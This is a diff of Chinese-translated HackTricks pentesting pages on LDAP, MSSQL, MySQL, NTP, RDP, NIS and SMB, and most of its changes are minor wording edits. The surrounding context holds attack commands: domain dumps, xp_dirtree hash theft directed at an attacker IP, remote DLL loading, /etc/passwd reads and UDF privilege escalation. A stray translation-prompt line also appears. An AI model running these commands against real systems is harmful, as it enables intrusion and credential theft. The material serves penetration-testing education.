{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
**LDAP**(轻量级目录访问协议)的主要用途是定位各种实体,如组织、个人以及网络中的资源,如文件和设备,涵盖公共和私有网络。与其前身 DAP 相比,它提供了一种更简化的方法,代码占用更小。
|
||||
**LDAP**(轻量级目录访问协议)的使用主要是为了在公共和私有网络中定位各种实体,如组织、个人以及文件和设备等资源。与其前身 DAP 相比,它提供了一种更简化的方法,因为其代码占用更小。
|
||||
|
||||
LDAP 目录的结构允许它们分布在多个服务器上,每个服务器都存储一个**复制**和**同步**的目录版本,称为目录系统代理(DSA)。处理请求的责任完全在于 LDAP 服务器,必要时可以与其他 DSA 通信,以向请求者提供统一的响应。
|
||||
|
||||
@ -48,7 +48,7 @@ phone: 23627387495
|
||||
- 第1-3行定义了顶级域local
|
||||
- 第5-8行定义了一级域moneycorp (moneycorp.local)
|
||||
- 第10-16行定义了两个组织单位:dev和sales
|
||||
- 第18-26行创建了一个域对象并分配带有值的属性
|
||||
- 第18-26行创建了一个域对象并分配了带有值的属性
|
||||
|
||||
## 写入数据
|
||||
|
||||
@ -70,13 +70,13 @@ u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN'
|
||||
|
||||
此外,您可以在 **LDAP 服务器和客户端之间** 执行 **MITM** 攻击。在这里,您可以进行 **降级攻击**,使客户端使用 **明文凭证** 登录。
|
||||
|
||||
**如果使用 SSL**,您可以尝试像上述提到的那样进行 **MITM**,但提供一个 **虚假证书**,如果 **用户接受它**,您就能够降级身份验证方法并再次查看凭证。
|
||||
**如果使用 SSL**,您可以尝试像上述提到的那样进行 **MITM**,但提供一个 **虚假证书**,如果 **用户接受它**,您就能够降级认证方法并再次查看凭证。
|
||||
|
||||
## Anonymous Access
|
||||
|
||||
### Bypass TLS SNI check
|
||||
|
||||
根据 [**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),仅通过使用任意域名(如 company.com)访问 LDAP 服务器,他能够以匿名用户的身份联系 LDAP 服务并提取信息:
|
||||
根据 [**这篇文章**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/),仅通过使用任意域名(如 company.com)访问 LDAP 服务器,他能够以匿名用户身份联系 LDAP 服务并提取信息:
|
||||
```bash
|
||||
ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" +
|
||||
```
|
||||
@ -145,7 +145,7 @@ True
|
||||
|
||||
### windapsearch
|
||||
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个 Python 脚本,用于通过利用 LDAP 查询从 Windows 域中 **枚举用户、组和计算机**。
|
||||
[**Windapsearch**](https://github.com/ropnop/windapsearch) 是一个 Python 脚本,用于通过利用 LDAP 查询从 **Windows** 域中 **枚举用户、组和计算机**。
|
||||
```bash
|
||||
# Get computers
|
||||
python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers
|
||||
@ -175,7 +175,7 @@ tion a successful bind must be completed on the connection., data 0, v3839
|
||||
```
|
||||
如果你发现某些内容说“_bind 必须完成_”意味着凭据不正确。
|
||||
|
||||
你可以使用以下方法从**域中提取所有内容**:
|
||||
你可以使用以下方法从一个域中提取**所有内容**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
-x Simple Authentication
|
||||
@ -213,7 +213,7 @@ ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Ent
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
提取 **远程桌面组**:
|
||||
提取 **Remote Desktop Group**:
|
||||
```bash
|
||||
ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TLD>"
|
||||
```
|
||||
@ -286,7 +286,7 @@ done
|
||||
|
||||
### Godap
|
||||
|
||||
Godap 是一个交互式终端用户界面,用于 LDAP,可以与 AD 和其他 LDAP 服务器中的对象和属性进行交互。它适用于 Windows、Linux 和 MacOS,支持简单绑定、传递哈希、传递票证和传递证书,以及其他一些专门功能,如搜索/创建/更改/删除对象、将用户添加/移除出组、更改密码、编辑对象权限(DACLs)、修改 Active-Directory 集成 DNS(ADIDNS)、导出为 JSON 文件等。
|
||||
Godap 是一个交互式终端用户界面,用于 LDAP,可以与 AD 和其他 LDAP 服务器中的对象和属性进行交互。它适用于 Windows、Linux 和 MacOS,支持简单绑定、传递哈希、传递票证和传递证书,以及其他一些专门功能,如搜索/创建/更改/删除对象、将用户添加/移除出组、更改密码、编辑对象权限 (DACLs)、修改 Active-Directory 集成 DNS (ADIDNS)、导出为 JSON 文件等。
|
||||
|
||||

|
||||
|
||||
|
@ -14,10 +14,10 @@
|
||||
```
|
||||
### **默认 MS-SQL 系统表**
|
||||
|
||||
- **master 数据库**: 该数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级详细信息。
|
||||
- **master 数据库**: 该数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级细节。
|
||||
- **msdb 数据库**: SQL Server Agent 利用此数据库来管理警报和作业的调度。
|
||||
- **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。
|
||||
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理上存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑上呈现。
|
||||
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑呈现。
|
||||
- **tempdb 数据库**: 作为瞬态对象或中间结果集的临时存储区域。
|
||||
|
||||
## 枚举
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> 如果您**没有** **凭据**,可以尝试猜测它们。您可以使用 nmap 或 metasploit。请小心,如果使用现有用户名多次登录失败,您可能会**锁定账户**。
|
||||
> 如果你**没有** **凭据**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心,如果你使用现有用户名多次登录失败,你可能会**锁定账户**。
|
||||
|
||||
#### Metasploit (需要凭据)
|
||||
```bash
|
||||
@ -184,10 +184,10 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
```
|
||||
## Tricks
|
||||
|
||||
### 执行操作系统命令
|
||||
### Execute OS Commands
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还必须对 **`xp_cmdshell` 存储过程** 拥有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins)可以使用 **`xp_cmdshell`**:
|
||||
> 请注意,为了能够执行命令,不仅需要**`xp_cmdshell`** **启用**,还需要对`xp_cmdshell`存储过程具有**EXECUTE权限**。您可以通过以下方式获取谁(除了sysadmins)可以使用**`xp_cmdshell`**:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -236,7 +236,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "c
|
||||
```
|
||||
### Steal NetNTLM hash / Relay attack
|
||||
|
||||
您应该启动一个 **SMB server** 来捕获用于身份验证的哈希值(例如 `impacket-smbserver` 或 `responder`)。
|
||||
您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希值(例如 `impacket-smbserver` 或 `responder`)。
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
@ -270,7 +270,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
|
||||
> ```
|
||||
|
||||
使用工具如 **responder** 或 **Inveigh** 可以 **窃取 NetNTLM 哈希**。\
|
||||
您可以查看如何使用这些工具:
|
||||
您可以在以下链接中查看如何使用这些工具:
|
||||
|
||||
{{#ref}}
|
||||
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
|
||||
@ -321,7 +321,7 @@ https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\w
|
||||
```
|
||||
### **RCE/读取文件执行脚本(Python 和 R)**
|
||||
|
||||
MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由 **与使用 **xp_cmdshell** 执行命令的用户不同的用户** 执行。
|
||||
MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由与使用 **xp_cmdshell** 执行命令的 **不同用户** 执行。
|
||||
|
||||
尝试执行 **'R'** _"Hellow World!"_ **不工作**:
|
||||
|
||||
@ -343,17 +343,17 @@ GO
|
||||
```
|
||||
### 读取注册表
|
||||
|
||||
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** 进行交互:**
|
||||
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) 进行交互:
|
||||
|
||||
| **常规** | **实例感知** |
|
||||
| --------------------------- | ------------------------------------ |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
|
||||
| sys.xp_regwrite | sys.xp_instance_regwrite |
|
||||
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
|
||||
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
|
||||
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
|
||||
| **常规** | **实例感知** |
|
||||
| --------------------------- | ---------------------------------- |
|
||||
| sys.xp_regread | sys.xp_instance_regread |
|
||||
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
|
||||
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
|
||||
| sys.xp_regwrite | sys.xp_instance_regwrite |
|
||||
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
|
||||
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
|
||||
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
|
||||
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
|
||||
```sql
|
||||
# Example read registry
|
||||
@ -370,9 +370,9 @@ EXEC sp_helprotect 'xp_regwrite';
|
||||
|
||||
### 使用 MSSQL 用户定义函数进行 RCE - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
|
||||
|
||||
可以**在 MSSQL 中通过自定义函数加载 .NET dll**。但是,这**需要 `dbo` 访问权限**,因此您需要以 `sa` 或管理员角色连接到数据库。
|
||||
可以**在 MSSQL 中通过自定义函数加载 .NET dll**。但是,这**需要 `dbo` 访问权限**,因此您需要以 **`sa` 或管理员角色** 连接到数据库。
|
||||
|
||||
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp)查看示例。
|
||||
[**点击此链接**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) 查看示例。
|
||||
|
||||
### 使用 `autoadmin_task_agents` 进行 RCE
|
||||
|
||||
@ -380,7 +380,7 @@ EXEC sp_helprotect 'xp_regwrite';
|
||||
```sql
|
||||
update autoadmin_task_agents set task_assembly_name = "class.dll", task_assembly_path="\\remote-server\\ping.dll",className="Class1.Class1";
|
||||
```
|
||||
请提供需要翻译的文本。
|
||||
请提供需要翻译的内容。
|
||||
```csharp
|
||||
using Microsoft.SqlServer.SmartAdmin;
|
||||
using System;
|
||||
@ -438,7 +438,7 @@ public void Test()
|
||||
|
||||
### 从 db_owner 到 sysadmin
|
||||
|
||||
如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin**)执行。
|
||||
如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin**) **执行**。
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
@ -537,7 +537,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上拥有管理员权限,或能够管理 SQL Server 配置。
|
||||
|
||||
在验证您的权限后,您需要配置以下三项:
|
||||
在验证您的权限后,您需要配置以下三项内容:
|
||||
|
||||
1. 在 SQL Server 实例上启用 TCP/IP;
|
||||
2. 添加启动参数,在这种情况下,将添加一个跟踪标志,即 -T7806。
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **基本信息**
|
||||
|
||||
**MySQL** 可以被描述为一个开源的 **关系数据库管理系统 (RDBMS)**,是免费的。它基于 **结构化查询语言 (SQL)**,使得数据库的管理和操作成为可能。
|
||||
**MySQL** 可以被描述为一个开源的 **关系数据库管理系统 (RDBMS)**,可免费使用。它基于 **结构化查询语言 (SQL)**,使得数据库的管理和操作成为可能。
|
||||
|
||||
**默认端口:** 3306
|
||||
```
|
||||
@ -22,7 +22,7 @@ mysql -u root -p # A password will be asked (check someone)
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
## 外部枚举
|
||||
## External Enumeration
|
||||
|
||||
某些枚举操作需要有效的凭据
|
||||
```bash
|
||||
@ -101,7 +101,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
您可以在文档中查看每个权限的含义:[https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
您可以在文档中查看每个权限的含义: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
|
||||
|
||||
### MySQL 文件 RCE
|
||||
|
||||
@ -111,13 +111,13 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
|
||||
## MySQL 客户端任意读取文件
|
||||
|
||||
实际上,当您尝试 **load data local into a table** 文件的 **内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。**然后,如果您可以篡改 mysql 客户端以连接到您自己的 MySQL 服务器,您可以读取任意文件。**\
|
||||
请注意,这是使用时的行为:
|
||||
实际上,当您尝试 **load data local into a table** **文件的内容** 时,MySQL 或 MariaDB 服务器会要求 **客户端读取它** 并发送内容。**然后,如果您可以篡改 mysql 客户端以连接到您自己的 MySQL 服务器,您可以读取任意文件。**\
|
||||
请注意,这是使用以下方式的行为:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(注意“local”这个词)\
|
||||
因为没有“local”你可能会得到:
|
||||
因为没有“local”,你可能会得到:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
@ -171,16 +171,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
```
|
||||
### 特权提升通过库
|
||||
|
||||
如果 **mysql 服务器以 root 身份运行**(或其他更高权限的用户),您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个运行 mysql 的操作系统的 **库**。
|
||||
如果 **mysql 服务器以 root 用户**(或其他更高权限的用户)运行,您可以使其执行命令。为此,您需要使用 **用户定义函数**。要创建用户定义函数,您需要一个 **库**,该库适用于运行 mysql 的操作系统。
|
||||
|
||||
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的那个。
|
||||
可以在 sqlmap 和 metasploit 中找到要使用的恶意库,通过执行 **`locate "*lib_mysqludf_sys*"`**。**`.so`** 文件是 **linux** 库,**`.dll`** 是 **Windows** 库,选择您需要的。
|
||||
|
||||
如果您 **没有** 这些库,您可以 **寻找它们**,或下载这个 [**linux C 代码**](https://www.exploit-db.com/exploits/1518) 并 **在 linux 漏洞机器中编译**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
现在您已经拥有库,请以特权用户(root?)身份登录到Mysql,并按照以下步骤操作:
|
||||
现在您已经拥有库,请以特权用户(root?)身份登录Mysql,并按照以下步骤操作:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
|
@ -34,17 +34,17 @@ ntpdc -c sysinfo <IP_ADDRESS>
|
||||
```bash
|
||||
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
|
||||
```
|
||||
## Examine configuration files
|
||||
## 检查配置文件
|
||||
|
||||
- ntp.conf
|
||||
|
||||
## NTP Amplification Attack
|
||||
## NTP 放大攻击
|
||||
|
||||
[**How NTP DDoS Attack Works**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
[**NTP DDoS 攻击是如何工作的**](https://resources.infosecinstitute.com/network-time-protocol-ntp-threats-countermeasures/#gref)
|
||||
|
||||
**NTP协议**使用UDP,允许在没有握手程序的情况下操作,这与TCP不同。这个特性在**NTP DDoS放大攻击**中被利用。在这里,攻击者创建带有假源IP的包,使攻击请求看起来像是来自受害者。这些最初较小的包促使NTP服务器以更大数据量进行响应,从而放大攻击。
|
||||
**NTP 协议**使用 UDP,允许在不需要握手程序的情况下操作,这与 TCP 不同。这个特性在**NTP DDoS 放大攻击**中被利用。在这里,攻击者创建带有假源 IP 的数据包,使攻击请求看起来像是来自受害者。这些最初较小的数据包促使 NTP 服务器以更大数据量进行响应,从而放大攻击。
|
||||
|
||||
尽管_**MONLIST**_命令很少使用,但可以报告最后600个连接到NTP服务的客户端。虽然该命令本身很简单,但在此类攻击中的误用突显了关键的安全漏洞。
|
||||
尽管 _**MONLIST**_ 命令使用较少,但可以报告最后 600 个连接到 NTP 服务的客户端。虽然该命令本身很简单,但在此类攻击中的误用突显了关键的安全漏洞。
|
||||
```bash
|
||||
ntpdc -n -c monlist <IP>
|
||||
```
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## 基本信息
|
||||
|
||||
**邮局协议 (POP)** 被描述为计算机网络和互联网领域中的一种协议,用于从远程邮件服务器提取和**检索电子邮件**,使其在本地设备上可访问。该协议位于OSI模型的应用层,使用户能够获取和接收电子邮件。**POP客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除它们。尽管该协议有三个版本,但**POP3** 是最常用的版本。
|
||||
**邮局协议 (POP)** 被描述为计算机网络和互联网领域中的一种协议,用于从远程邮件服务器中提取和**检索电子邮件**,使其在本地设备上可访问。该协议位于OSI模型的应用层,使用户能够获取和接收电子邮件。**POP客户端**的操作通常涉及与邮件服务器建立连接,下载所有消息,将这些消息存储在客户端系统上,然后从服务器中删除它们。尽管该协议有三个版本,但**POP3** 是最常用的版本。
|
||||
|
||||
**默认端口:** 110, 995(ssl)
|
||||
```
|
||||
|
@ -17,7 +17,7 @@ PORT STATE SERVICE
|
||||
```bash
|
||||
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
|
||||
```
|
||||
它检查可用的加密和DoS漏洞(在不导致服务DoS的情况下),并获取NTLM Windows信息(版本)。
|
||||
它检查可用的加密和DoS漏洞(在不对服务造成DoS的情况下),并获取NTLM Windows信息(版本)。
|
||||
|
||||
### [暴力破解](../generic-hacking/brute-force.md#rdp)
|
||||
|
||||
@ -94,7 +94,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add
|
||||
|
||||
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
|
||||
|
||||
**AutoRDPwn** 是一个用 Powershell 创建的后渗透框架,主要旨在自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被 Microsoft 列为一项功能)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
|
||||
**AutoRDPwn** 是一个用 Powershell 创建的后渗透框架,主要旨在自动化对 Microsoft Windows 计算机的 **Shadow** 攻击。此漏洞(被微软列为一项功能)允许远程攻击者 **在未获得受害者同意的情况下查看其桌面**,甚至可以按需控制它,使用操作系统本身的本地工具。
|
||||
|
||||
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
|
||||
- 从命令行以自动化方式控制鼠标和键盘
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Portmapper** 是一种用于将网络服务端口映射到 **RPC**(远程过程调用)程序编号的服务。它作为 **Unix-based systems** 中的一个关键组件,促进了这些系统之间的信息交换。与 **Portmapper** 相关的 **port** 经常被攻击者扫描,因为它可以揭示有价值的信息。这些信息包括正在运行的 **Unix Operating System (OS)** 的类型以及系统上可用服务的详细信息。此外,**Portmapper** 通常与 **NFS (Network File System)**、**NIS (Network Information Service)** 和其他 **RPC-based services** 一起使用,以有效管理网络服务。
|
||||
|
||||
**默认端口:** 111/TCP/UDP, 32771 in Oracle Solaris
|
||||
**默认端口:** 111/TCP/UDP,Oracle Solaris 中的 32771
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
111/tcp open rpcbind
|
||||
@ -16,7 +16,7 @@ PORT STATE SERVICE
|
||||
rpcinfo irked.htb
|
||||
nmap -sSUC -p111 192.168.10.1
|
||||
```
|
||||
有时它不会给你任何信息,而在其他情况下你会得到这样的内容:
|
||||
有时它不会给你任何信息,而在其他情况下,你会得到这样的内容:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -34,13 +34,13 @@ nmap -sSUC -p111 192.168.10.1
|
||||
|
||||
## NIS
|
||||
|
||||
探索 **NIS** 漏洞涉及一个两步过程,首先识别服务 `ypbind`。这一探索的基石是揭示 **NIS 域名**,没有这个进展将会停止。
|
||||
探索 **NIS** 漏洞涉及一个两步过程,首先识别服务 `ypbind`。这一探索的基石是揭示 **NIS 域名**,没有这个,进展将会停止。
|
||||
|
||||
.png>)
|
||||
|
||||
探索之旅始于必要软件包的安装(`apt-get install nis`)。接下来的步骤需要使用 `ypwhich` 确认 NIS 服务器的存在,通过域名和服务器 IP 进行 ping,确保这些元素为安全而匿名。
|
||||
探索之旅始于必要软件包的安装(`apt-get install nis`)。接下来的步骤需要使用 `ypwhich` 确认 NIS 服务器的存在,通过域名和服务器 IP 进行 ping,确保这些元素在安全方面是匿名的。
|
||||
|
||||
最后一步也是关键一步涉及 `ypcat` 命令提取敏感数据,特别是加密的用户密码。这些哈希值一旦使用像 **John the Ripper** 这样的工具破解,将揭示系统访问和权限的见解。
|
||||
最后一个也是至关重要的步骤涉及 `ypcat` 命令以提取敏感数据,特别是加密的用户密码。这些哈希值一旦使用像 **John the Ripper** 这样的工具破解,将揭示系统访问和权限的见解。
|
||||
```bash
|
||||
# Install NIS tools
|
||||
apt-get install nis
|
||||
@ -54,7 +54,7 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
| **主文件** | **映射** | **备注** |
|
||||
| ---------------- | -------------------------- | --------------------------------- |
|
||||
| /etc/hosts | hosts.byname, hosts.byaddr | 包含主机名和 IP 详细信息 |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid | NIS 用户密码文件 |
|
||||
| /etc/passwd | passwd.byname, passwd.byuid| NIS 用户密码文件 |
|
||||
| /etc/group | group.byname, group.bygid | NIS 组文件 |
|
||||
| /usr/lib/aliases | mail.aliases | 邮件别名详细信息 |
|
||||
|
||||
@ -68,7 +68,7 @@ ypcat –d <domain-name> –h <server-ip> passwd.byname
|
||||
|
||||
## 绕过过滤的 Portmapper 端口
|
||||
|
||||
在进行 **nmap 扫描** 并发现端口 111 的 NFS 端口被过滤时,直接利用这些端口是不可行的。然而,通过 **在本地模拟一个 portmapper 服务并从你的机器创建一个隧道到目标**,利用标准工具进行利用成为可能。这种技术允许绕过端口 111 的过滤状态,从而访问 NFS 服务。有关此方法的详细指导,请参阅 [此链接](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) 中的文章。
|
||||
在进行 **nmap 扫描** 并发现端口 111 被过滤的开放 NFS 端口时,直接利用这些端口是不可行的。然而,通过 **在本地模拟一个 portmapper 服务并从你的机器创建一个隧道到目标**,利用变得可能,使用标准工具。这种技术允许绕过端口 111 的过滤状态,从而启用对 NFS 服务的访问。有关此方法的详细指导,请参阅 [this link](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) 中的文章。
|
||||
|
||||
## Shodan
|
||||
|
||||
|
@ -4,7 +4,7 @@
|
||||
|
||||
## **Port 139**
|
||||
|
||||
_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使局域网 (LAN) 内的应用程序、个人电脑和桌面能够与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
|
||||
_**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨在使应用程序、个人电脑和桌面计算机能够在局域网 (LAN) 内与网络硬件交互,并**促进数据在网络上的传输**。通过其 NetBIOS 名称,可以识别和定位在 NetBIOS 网络上运行的软件应用程序,这些名称最长可达 16 个字符,通常与计算机名称不同。当一个应用程序(充当客户端)发出命令“呼叫”另一个应用程序(充当服务器)时,两个应用程序之间的 NetBIOS 会话就会启动,使用**TCP 端口 139**。
|
||||
```
|
||||
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
|
||||
```
|
||||
@ -12,15 +12,15 @@ _**网络基本输入输出系统**_** (NetBIOS)** 是一种软件协议,旨
|
||||
|
||||
从技术上讲,端口 139 被称为“NBT over IP”,而端口 445 被识别为“SMB over IP”。缩写 **SMB** 代表“**服务器消息块**”,现代也被称为 **通用互联网文件系统 (CIFS)**。作为一种应用层网络协议,SMB/CIFS 主要用于实现对文件、打印机、串口的共享访问,并促进网络节点之间的各种形式的通信。
|
||||
|
||||
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,消除了通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139,这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
|
||||
例如,在 Windows 的上下文中,强调 SMB 可以直接通过 TCP/IP 操作,从而消除通过端口 445 使用 NetBIOS over TCP/IP 的必要性。相反,在不同的系统上,观察到使用端口 139,这表明 SMB 正在与 NetBIOS over TCP/IP 一起执行。
|
||||
```
|
||||
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
|
||||
```
|
||||
### SMB
|
||||
|
||||
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列,SMB 确保向后兼容,使得运行较新版本微软操作系统的设备能够与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
|
||||
**服务器消息块 (SMB)** 协议在 **客户端-服务器** 模型中运行,旨在调节对 **文件**、目录和其他网络资源(如打印机和路由器)的 **访问**。主要用于 **Windows** 操作系统系列,SMB 确保向后兼容,允许运行较新版本微软操作系统的设备与运行较旧版本的设备无缝交互。此外,**Samba** 项目提供了一个免费软件解决方案,使 SMB 能够在 **Linux** 和 Unix 系统上实现,从而通过 SMB 促进跨平台通信。
|
||||
|
||||
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使得客户端部分 **独立** 于服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
|
||||
共享,代表 **本地文件系统的任意部分**,可以由 SMB 服务器提供,使客户端部分 **独立于** 服务器的实际结构地可见。**访问控制列表 (ACLs)** 定义了 **访问权限**,允许对用户权限进行 **细粒度控制**,包括 **`执行`**、**`读取`** 和 **`完全访问`** 等属性。这些权限可以根据共享分配给单个用户或组,并且与服务器上设置的本地权限不同。
|
||||
|
||||
